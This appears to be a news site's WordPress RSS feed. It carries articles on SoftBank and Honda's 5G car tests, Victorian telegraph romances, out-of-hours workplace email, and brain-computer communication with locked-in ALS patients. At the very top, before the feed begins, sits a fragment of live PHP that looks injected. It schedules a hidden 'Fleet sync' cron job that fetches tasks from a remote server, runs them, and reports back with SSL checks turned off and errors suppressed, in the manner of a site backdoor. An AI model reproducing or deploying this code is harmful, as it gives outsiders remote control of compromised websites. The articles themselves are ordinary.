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update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); communicate – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Tue, 05 Dec 2017 18:23:22 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.6 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png communicate – Brief News https://briefnews.eu 32 32 The Wide-Eyed Robot Teaching Deaf Children to Communicate https://briefnews.eu/the-wide-eyed-robot-teaching-deaf-children-to-communicate/ https://briefnews.eu/the-wide-eyed-robot-teaching-deaf-children-to-communicate/#respond Tue, 05 Dec 2017 18:23:22 +0000 http://briefnews.eu/the-wide-eyed-robot-teaching-deaf-children-to-communicate/ The story behind the cute little robot that’s helping deaf children practice their communication.


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When it’s not busy making billion-dollar acquisitions to expand its robotics line-up, Japanese mobile carrier SoftBank is pursuing its other hobby: smart cars. Central to this endeavour is its partner, and fellow Japan native, Honda. Last year, the two announced plans to make cars emotive using cloud-based tech based on SoftBank’s Pepper robot (think Knight Rider‘s KITT). The fruits of that colloboration are beginning to emerge, in the guise of the auto-maker’s AI-assisted NeuV and Sports EV concepts. With the clock ticking down to Honda’s 2025 deadline for driverless cars, the duo are moving on to the next phase in their connected cars project, which is all about 5G.

Along with rivals NTT Docomo and KDDI, SoftBank is already testing 5G in Japan, with a view to kick-starting services by 2020. Before then, the carrier will test how well Honda’s cars can communicate with one another over its 5G network. Starting in 2018, SoftBank will install 5G base stations at the auto-maker’s Takasu Proving Ground closed test course in Hokkaido, Japan. The 6.8 km circular course serves as a stomping ground for Honda’s smart cars, and soon they’ll be talking over wireless networks while speeding around.

All the while, the two firms will be monitoring outcomes in order to develop the vehicles’ on-board tech and antennas. In addition, the experiment will allow SoftBank to test its 5G signal in a rural setting — thus far its trials have been mainly limited to urban locations.

The bigger picture may encompass SoftBank’s ridesharing investments, which include Singapore’s Grab (which also counts Honda as a backer), India’s Ola, China’s Didi, and now Uber. We know that Uber is also testing driverless cars in select states in the US. And, smarter cars operating over faster wireless networks will only improve these services and, in turn, line SoftBank’s bursting pockets.

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A popular way to date in the 1800s was courtesy of the electrical telegraph

Down Fan unseen network, lovers exchange sweet nothings and messages hop swiftly between strangers seeking romance.

Far from describing the world of online dating in 2017, these love letters of the airways were winging their way to their chosen recipients more than 100 years ago.

They did so courtesy of the electrical telegraph which, during the last three decades of the 19th century, had revolutionised communication.

Messages tapped out by telegraph operators using Morse Code oiled the wheels of business, diplomacy – and romance.

Telegraph operators themselves used the opportunity to fl irt anonymously down the wire – the first people to seek love online a century before Sir Tim Berners-Lee invented the world wide web.

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These young men and women who left farms and fi shing villages to take up this new high-tech profession became unlikely icons and spawned a new genre of fiction: the telegraphic romance.

A Radio 4 documentary on Monday, Wired Love: A Romance Of Dots and Dashes – named after a best-selling novel of the genre – reveals how telegraph operators became pioneers in the equivalent of today’s online dating forums and chat rooms.

The telegraph has been called the Victorian internet. “The journey of an email as it hops from server to server mirrors the passage of a telegram from one telegraph office to the next. 

It allowed people to communicate instantly across great distances,” says Tom Standage, author of The Victorian Internet. “Governments and regulators tried and failed to control the new medium of telegraphy.

A technical sub-culture with its own customs and vocabulary was established. You got hype, scepticism, hackers, online romances, chat rooms, information overload.”

He cites telegraphy as the greatest communications tool since the invention of the printing press 500 years earlier.

Britain, which had much to gain by setting up a global messaging network to its empire outposts in India, Australia, New Zealand, Canada and east Africa, was at the forefront of developments in telegraphy.

Networks were expensive to set up and much of the fi nancing across the world was done by London bankers.

Sir William Fothergill Cooke and Charles Wheatstone put together the fi rst commercial telegraph in 1837.

This system didn’t use Morse Code, then in its infancy. Instead it employed needles on a board that could be moved to point to letters.

A year later, it was in use by Great Western Railway on the line from Paddington to West Drayton.

Wheatstone later patented the first practical automated system using Morse Code typed on to a perforated tape using a keyboard with messages transmitted at a rattling pace of 70 words a minute.

From the railways, telegraphy burst into general use and in 1870 the Post Offi ce took over commercial telegraphy.

It was the opening up of work as telegraphists to women, as well as men, that was to lead to romantic opportunities. 

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Messages tapped out by telegraph operators using Morse Code oiled the wheels of business, diplomacy

They sometimes pretended to be of the other gender for fun. Telegraphy was really the first time people at a distance, who hadn’t met, could fall in love

Laura Otis, author

The first women telegraphists in England joined the Electric Telegraph Company in the 1850s and such was the demand for these roles that in 1860 the Telegraph School for Women was set up in London to train them.

Jennifer Phegley, author of Courtship And Marriage In Victorian England, says that by 1897 London alone had more than 300 telegraph offices open from 8am to 8pm, dealing with 30 million telegrams.

One third of the workforce was made up of women: 2,214 based in London.

Operators could listen in to other messages, essential so they knew when the wire was clear for them.

They were identified by a code with no reference to their gender.

However, skilled operators could deduce a lot by the way their colleagues tapped out messages, leading to much intrigue and speculation.

“It was thrilling for them to be in touch with unknown hands at distant keys,” says Laura Otis, author of Networking: Communicating With Bodies And Machines In the 19th Century.

“Intimately connected to the keys and wires that provided their raison d’etre, 19th-century telegraphers viewed their electric tongues and nerves as extensions of their own bodies.’”

In this somewhat feverish atmosphere it is not surprising that romances sprang up with some operators teasingly sending messages to unsuspecting colleagues further down the line.

In the documentary, Otis says: “Telegraphers could spoof colleagues by adapting someone else’s style in a message.

“They sometimes pretended to be of the other gender for fun. Telegraphy was really the first time people at a distance, who hadn’t met, could fall in love.

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“Telegraphy was more or less instantaneous, unlike posting a love letter.’”

Writers first began penning telegraphic romances for magazines, which functioned like trade periodicals but were full of heaving hearts and gossip.

An Irish immigrant to the US, William Johnston set up The Operator, with poems and articles written by a coterie of telegraph operators, all of them men.

Novels and anthologies of short stories set in the world of telegraphy followed.

One tale, published in the 1877 anthology, Lightning Flashes And Electric Dashes, imagines a male telegraphic operator on an out-of-town jaunt meeting a female of the same calling.

However she is being chaperoned by her parents. The pair begin to flirt in Morse Code, she using a window fastener to click out messages while he replies by tapping his pencil – all in front of her blissfully unaware parents. Which teenager hasn’t used social media or apps in the same sort of subterfuge?

Literary heavyweight Henry James, the American author who settled in London in 1869 and died there in 1916, sent many telegrams from the capital’s post offices.

His novella about a female telegraphist who deciphers clues to clients’ lives through their telegrams, In The Cage, was published in 1869.

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She becomes fascinated by messages she sends between a military man and a titled lady.

Her fantasies about intimacy with the upper classes are crushed however when she learns unfortunate truths about the illicit lovers and she decides to marry her unpolished suitor Mr Mudge.

While she may not have had writing skills comparable to James, telegraph operator Ella Cheever Thayer’s novel Wired Love, published in 1879 when she was 30, was the undoubted star of the genre, selling well for 10 years.

Like many telegraph operators in England, Boston-based Thayer was a middle class woman in an osten sibly working class occupation, as is her heroine, 18-year-old Nettie.

In the programme, excerpts from the novel highlight the similarities between love mediated then on the telegraph wire and now on the internet. Nettie is “catfished” when a stranger pretends to be the mysterious C, a telegrapher who has been sending her messages.

The hoaxer has “dreadful teeth, cheap jewellery and smells of musk”, she shrieks.

Presenter Lucy Hawking points out: “In the modern era, if you meet someone in an online chatroom your quick experience of intimacy may not translate into the real world.

It was the same for Nettie.” Who doesn’t love a happy ending, though? So it was that Nettie found romance with C in a novel (available on download) that eerily time travels across nearly 150 years.

Wired Love: A Romance Of Dots And Dashes. Radio 4, Monday 11am.

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Whether it’s office email, collaborative apps or the break room noticeboard, internal workplace communications have the potential to go very wrong, very quickly.

Google engineer James Damore recently found this out to his cost after colleagues leaked a Google Doc he shared about the company’s approach to diversity, leading to his eventual dismissal.

Of course, misjudged workplace missives are hardly new. Even your out-of-office message can go viral if you’re not careful.

But now that Google – the progressive, convention-busting organisation we rely on to organise the world’s information – finds itself at the centre of its own workplace communications scandal, it is a perfect time to rethink the whole thing.

Too much information?

Recent attempts to address this have focused on when we communicate at work, rather than how. It has been eight months since France passed the El Khomri “right to disconnect” law, making it illegal for employers to email staff out of office hours. The idea was to tackle work-related stress and bring an end to the “electronic leash” as one French lawmaker put it.

Six years before, Volkswagen agreed to stop emailing its employees outside of office hours. In 2014, Daimler, another German car manufacturer, introduced a voluntary policy that enabled staff to auto-delete emails they receive while on vacation. The sender instead received a variation of this response:

I am on vacation. I cannot read your email. Your email is being deleted. Please contact Hans or Monika if it’s really important, or resend the email after I’m back in the office.

The right to disconnect has only been law in France since January 2017, so it’s too soon to judge its impact. But Volkswagen workers spokesman Jörg Köther claimed in 2014 that his company’s measure had been well-received. He attributed its success to the policy’s “no bypass” mechanism, essential to remove the temptation for workers to log back in.

Daimler reported success with staff too. Spokesman Oliver Wihofszki told the BBC:

The response is basically 99% positive, because everybody says: ‘That’s a real nice thing, I would love to have that too.’

Competitive communicating

Most of us are guilty of checking in with work too often. Last year HR Magazine’s Reclaim Your Time survey found that 34% of employees check their email immediately after waking up and 38% do it every night just before they go to bed. A study by a UK cyber security consultancy found that two in ten office workers responded to work emails even after going to bed.

Some organisations encourage this toxic fixation. Erika Nardini, CEO of Barstool Sports admitted texting employees on a Sunday just to see how quickly they responded.

Compelling employees to switch off is a good start. But there’s a long way to go.

A mindful approach

Gianluca Leone, director of myrooms.co.uk, a management company for flat-sharers in London, told one of my colleagues that his team have tried to find a middle-ground between disabling email and allowing free reign: “We have a system for monitoring our customer service email address and everyone knows who’s picking up those emails at any given time… During peak season we have support staff to serve clients in other time zones. Our staff know when we expect them to be offline and they to appreciate the clarity.”

The difference between “we don’t expect you to check your email” and “we expect you not to check your email”, is crucial.

Of course, completely disallowing out-of-hours emails won’t work for all businesses. We need flexibility. Discouraging overuse is fine, but let’s take a more mindful approach to internal communications in general.

For a start, organisations should discourage the arbitrary copying of people into emails. This habit erodes trust and controversial messages spread like wildfire.

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Google’s Damore is said to have copied in 40,000 colleagues to his memo which criticised the company’s diversity policy. They then swarmed to Blind – an app that facilitates anonymous workplace gossip – to call for his dismissal. What if he had simply spoken to Google’s new diversity chief in person? It could have been a conversation instead of a “manifesto” that caused a global hand-wringing over corporate approaches to equality.

We should get up and speak to our colleagues whenever we can. The benefits are well documented. So I’d celebrate any initiative to discourage emailing all colleagues, whether remote or at the next desk.

The future of internal comms

Other channels bear consideration too. Email is losing popularity among younger people. Some 37% of startups no longer view it as their main comms channel, favouring collaborative platforms like Slack and Google Docs. These tools are ripe for overuse, designed to facilitate group-wide communication from a smartphone. What could go wrong?

Some businesses have already spotted the risks. One London fashion startup has an unusual way of discouraging extra-curricular Slack usage, assigning those guilty of it to the morning coffee run as punishment.

Overuse of workplace communication is linked to a reduction in mental well-being, so clear policies like those developed by VW and in France are essential. It means employees aren’t left guessing about what’s expected of them.

When companies have experimented with unlimited paid vacation, letting employees decide how much time off they took, staff end up working more, not less. The same is true of communications. Without restrictions, employees risk drowning in information.

Flexibility and a culture of openness are valuable to any organisation. But those organisations that embrace openness have a duty to protect their people from the risks, both to their well-being and to their career, of being able to communicate so easily with so many.

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FOUR “locked-in” patients unable to speak, move or blink have reported they are “happy” after a successful attempt was made to read their thoughts.
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The extraordinary discovery was made during a ground-breaking experiment aimed at piercing the wall of silence that surrounds victims of completely locked-in syndrome (CLIS).

Patients are said to be completely locked-in when their mental faculties are preserved but they are so paralysed that even eye movement is impossible.

To find a way of communicating with such individuals, the Swiss-led international team of scientists developed a form of thought reading based on a system that measures blood oxygen levels and electrical activity in the brain.

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Scientists have developed a way to communicate with patients who suffer from ‘locked-in’ syndrome

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Thinking “yes” or “no” to specific personal questions triggered changes correlating with brain activity that could be translated by a computer.

The striking results overturn my own theory that people with completely locked-in syndrome are not capable of communication

Professor Niels Birbaumer

When the patients were repeatedly asked “are you happy?” over a period of several weeks, all four consistently answered “yes”.

One patient, a 68-year-old woman, entered a locked-in state in 2009 and had been completely locked-in since 2010.

All four had been diagnosed with amyotrophic lateral sclerosis (ALS), or motor neurone disease, which over time left them totally paralysed.

Lead investigator Professor Niels Birbaumer, from the Wyss Centre for Bio and Neuroengineering in Geneva, said: “We were initially surprised at the positive responses when we questioned the four completely locked-in patients about their quality of life.

“All four had accepted artificial ventilation in order to sustain their life, when breathing became impossible; thus, in a sense, they had already chosen to live.

“What we observed was that as long as they received satisfactory care at home, they found their quality of life acceptable. It is for this reason, if we could make this technique widely clinically available, it could have a huge impact on the day-to-day life of people with completely locked-in syndrome.”

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The system measures oxygen and electrical activity levels in the brain

One study participant, described as “Patient W”, was in a borderline CLIS state at 24.

She had been diagnosed with juvenile ALS in December 2012 and since 2015, after struggling to communicate with eye movements and mouth twitches, had lost all contact with her family.

Both the other patients, a woman aged 76 and a man aged 61, had been unable to communicate by any means since 2014.

The findings, published in the journal Public Library of Science Biology, challenge the widely held view that CLIS patients lack the goal-directed thinking necessary to use a brain-computer interface.

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Patients were asked simple yes/no questions such as ‘are you happy?’

Previous attempts to open avenues of communication that relied solely on detecting electrical signals have failed.

Prof Birbaumer said: “The striking results overturn my own theory that people with completely locked-in syndrome are not capable of communication.

“We found that all four patients we tested were able to answer the personal questions we asked them, using their thoughts alone.

“If we can replicate this study in more patients, I believe we could restore useful communication in completely locked-in states for people with motor neuron diseases.”

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More than 200 questions were prepared for each patient with the help of family members.

During training sessions, patients were asked to think “yes” and “no” answers but to try to avoid imagining the words written down or spoken.

Patients were questioned for nine minutes three to four times a day.

The study allowed the one male patient, Patient B, to show his strong disapproval of his daughter’s marriage.

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At the request of his family, the researchers asked him if he would agree to his daughter marrying her boyfriend, “Mario”.

On nine occasions, the answer was “no”.

Overall, the questioning elicited correct responses in 70 per cent of the trial sessions.

The scientists used a technique called functional near-infrared spectroscopy (fNIRS) which involves shining long wavelength light through the scalp and measuring its absorption in the brain.

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One patient was able to express his dislike of his daughter’s marriage through the technique

At the same time, electroencephalogram (EEG) electrodes detected electrical activity.

Professor John Donoghue, the director of the Wyss Centre, said: “Restoring communication for completely locked-in patients is a crucial first step in the challenge to regain movement.

“The Wyss Center plans to build on the results of this study to develop clinically useful technology that will be available to people with paralysis resulting from ALS, stroke, or spinal cord injury.

“The technology used in the study also has broader applications that we believe could be further developed to treat and monitor people with a wide range of neuro-disorders.”

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